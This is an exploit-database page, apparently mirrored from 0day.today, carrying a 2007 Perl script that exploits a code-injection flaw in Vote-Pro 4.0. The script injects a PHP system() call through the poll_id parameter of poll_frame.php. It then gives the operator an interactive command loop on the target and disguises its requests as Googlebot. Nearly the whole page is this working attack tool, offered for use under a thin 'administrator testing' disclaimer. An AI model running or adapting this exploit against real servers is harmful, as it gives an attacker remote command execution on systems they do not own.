Search...

Vote-Pro 4.0 (poll_frame.php poll_id) Remote Code Execution Exploit

2007-01-23T00:00:00
ID 1337DAY-ID-1414
Type zdt
Reporter r0ut3r
Modified 2007-01-23T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ===================================================================
Vote-Pro 4.0 (poll_frame.php poll_id) Remote Code Execution Exploit
===================================================================



#################################################################################################
#                                    r0ut3r Presents...                                         #
#                                                                                               #
#                                Another r0ut3r discovery!                                      # 
#                          Vote-Pro Code Injection 0day Exploit                                 #
#################################################################################################
# Software: Vote-Pro 4.0                                                                        #
#                                                                                               #
# Vendor: http://www.vote-pro.com/                                                              #
#                                                                                               #
# Released: 2007/01/23                                                                          #
#                                                                                               #
# Discovered & Exploit By: r0ut3r                                                               #
#                                                                                               #
# Note: The information provided in this document is for Vote-Pro administrator                 #
# testing purposes only!                                                                        #
#################################################################################################

use IO::Socket;

$port = "80"; # connection port
$target = shift; # vote-pro.com
$folder = shift; # /votepro/

sub Header()
{
	print q
	{Vote-Pro Code Injection Exploit - writ3r  
-------------------------------------------------------
};
}

sub Usage()
{
	print q
	{
Usage: votecmd.pl [target] [directory]
Example: votecmd.pl vote-pro.com /votepro/
};
	exit();
}

Header();

if (!$target || !$folder) {
	Usage(); }

print "[+] Connecting...\n";
$cmd = "dir";
while ($cmd !~ "exit")
{
	$xpack = IO::Socket::INET->new(Proto => "tcp", PeerAddr => $target, PeerPort => $port) || die "[-] Failed to connect on exploit attempt. Exiting...\r\n";
	print $xpack "GET ".$folder."poll_frame.php?poll_id=hyphy;system($_GET[com]);&com=".substr($cmd, 0, -1)."; HTTP/1.1\n";
	print $xpack "Host: $target\n";
	print $xpack "User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\n";
	print $xpack "Accept: text/html\n";
	print $xpack "Connection: keep-alive\n\n";

	print "[cmd]\$ ";
	$cmd = <STDIN>;
	$cmd =~ s/ /%20/g;
}

print "[!] Connection to host lost...\n";



#  0day.today [2018-03-14]  #
JSON Vulners Source
Initial Source


All product names, logos, and brands are property of their respective owners. All company, product and service names used in this website are for identification purposes only. Use of these names, logos, and brands does not imply endorsement.If you are an owner of some content and want it to be removed, please mail to content@vulners.com Vulners, 2018
Protected by